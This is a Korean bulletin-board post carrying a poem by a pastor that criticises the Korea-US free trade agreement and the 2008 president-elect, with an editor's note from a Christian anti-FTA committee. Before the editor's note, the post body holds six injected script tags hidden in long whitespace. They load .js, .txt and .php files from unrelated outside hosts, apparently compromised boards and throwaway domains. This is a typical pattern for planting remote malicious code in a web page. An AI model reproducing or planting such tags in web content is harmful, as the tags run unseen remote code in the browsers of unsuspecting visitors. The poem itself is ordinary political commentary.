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칼럼 [임인수 시] 밝은 얼굴들 그리고 어두운 얼굴들(뉴조 1/22)

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작성자 by 관리자 / 작성일08-01-23 16:41 / 조회 4,777 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    한미FTA는 예수님이 선포하신 희년 정신을 거스르는 반기독교적인 심각한 문제점들을 안고 있으나, 그 내용이 방대하고 복잡하여 교회와 기독교인들에게 그 문제점이 정확하게 전달되지 못하고 있습니다. 한미FTA기독교공동대책위원회는 한국교회와 기독교인들에게 한미FTA의 심각한 문제점을 알리고 한미FTA에 대한 기독교계 내 비판 여론을 확산하기 위하여 연속 기고를 계획하였습니다. 기고문는 한미FTA기독교공동대책위원회의 공동대표와 집행위원, 개인회원의 글들로서, 시·수필·칼럼·논설 등의 형식입니다. <편집자 주>






부패 없는 나라 만들겠다고
큰소리치던 형용색색 후보들
정의 민주 평화의 노래를 하던 이들
갈가리 찢겨 나가 뛰어다니다가
미끄러져 다쳐 신음하고 있는데 
싸움에서 이긴 이들과
뒤에서 세게 밀어준 이들은 모두가 밝은 얼굴들이다
대통령 당선자는 말할 필요도 없고
부자들 강남 사람들 기업가들
청와대 출입 많아질 유명 목사들
십년 만에 손잡고 이루어낸 정권교체
이들은 올해가 참 좋겠다

대통령과 대통령 당선자가 가장 먼저 한 약속이
한미자유무역협정 속히 이행되게 하자는 거였다니
미국 큰 기업들 세계가 알아주는 부자들
이 나라 대기업자들
서울 시골 강가나 경치 좋은 곳
여기저기 땅 사놓은 이들은
더 큰 꿈꾸기에 시간 모자를 거 같다
부동산값은 올라갈 거고
미국에서 한국으로 여기서 저기로
물건들이 왔다 갔다 하면서
돈뭉치가 쌓이게 된다니
이들에게 쥐띠인 올해가 참 좋겠다

돈 없어 슬펐던 이들도
기다림 문을 크게 개조할 필요가 있을 거 같다
가난의 넝쿨과 장애물들
부르도저로 밀어내고
경부선 고속도로 만들 듯
마련해줄지 모른단다
올해는 예년과 다르다
쥐구멍에도 볕들 날 올지 모르니까

정권교체가 이루어지니
대학교마다 환성이다
특별 고교될 학교 교실들도 희망의 노래로 시끄럽다
학생들이랑 부모들 얼굴에 웃음꽃 피어난다
가난한 집 애들은 공부 잘 못할 게 뻔한데 
부자집 애들은 월등히 큰 차이로
수학능력을 키울 수 있다니
이럴 때 좋은 대학 보내어
월급 상여금 보상급 같은 거
두툼하게 주는 회사원 되게 할 수 있고
아니면 다른 방식으로 유능 인물로 만들기가 쉬워질 거니까
돈으로 안되는 게 뭐가 있던가
자식들의 환한 길 내다보인다

부동산업자들 사무실 창가에 봄바람 서성이고
영재학원들 출입문들 더 반짝여 보인다
낙동강 백마강 주변 논밭 모래밭도 춤 출 준비한다
새 대통령 생기니 개들도 좋은가 보다
봄은 아직 한참 멀었는데
여기저기 웃음꽃 봄바람
이들의 밝은 얼굴 보니 올해는 참 좋겠다 
 
그런데도 한 쪽은 어두움이다
조금만 더 있으면 따사한 봄이 올 텐데
길어지고 짙어지는 그늘 얼굴들
한겨울 스산한 바람만 일 것 같은 하늘
볕이 강할수록 그림자도 따라 진해져서인가
뙤약볕 아래 농어민 주름살 더 깊어 보인다
세상 돌아가는 걸 잘 몰라서 일까
아니 세상 이치를 잘 알기 때문일까
농어민 얼굴들
삼성크레인과 부딪힌
허베이호가 토해놓은 시커먼 기름덩이를 닮아간다

경제 꼭 살리겠다는데
돈 잘 벌게 해주겠다는데
광우병 염려 없는 쇠고기
손쉽게 구워 먹을 수 있게 된다는데
땀 안 흘려도 외국 곡식 싸게 사먹을 수 있다는데
듣는지 못 듣는지
농촌 어촌의 어두운 얼굴들 입은 무겁다

거짓말 한 자
위장 전입자
탈법행위자
그래서
대통령 되어서는 안 될 사람이라고
지적 받던 이가 대통령이 되어서인가

한미자유무역협정 시행되면
논밭이 없어질 거 같아서인가
생명의 먹을거리의 보고
어촌이 회생될 거 같아 보이지 않아서인가
할 일 없어질 게 뻔해 보여서인가
살 곳은 산골 벌판 아니면 오직 갯벌뿐인 사람들
떠나라면 더 갈 곳 없는 이들이기에 그런가
임시직 일자리 하나라도 얻으려면
반 뼘 밖에 안 남은 자존심마저 몽땅
던져버려야만 할
타지에 나간 자식 걱정 때문인가

나라 중심부 갈라 물 모아놓으면
썩는 냄새 날까 걱정 되어서인가
배사고가 또 날 거 같아서인가
농자천하지대본이란 말을
하느님의 이치라고 확신하기 때문인가
농어촌은 죽어가고 없어지고
   
갈 길이 아닌 길만 늘어나는
금수강산 몸 덩이 고통을 느끼기 때문인가
정든 곳 떠나라면 더 갈 곳이 없는 이들이어선가
쥐띠인 올해가 이들에게는 아픔의 계절일 거 같다
이들의 어두운 얼굴에 어두워지는 마음
그래서 두 손을 모으게 된다
정의와 평화의 하느님을 생각하며
흑암에 앉은 백성에게 오신 메시아를 생각하며



임인수/ 새암교회 목사, 한미FTA3개교단(감·기장·예장통합)농목대책위원회 대표, 한미FTA기독교공동대책위원회 공동대표
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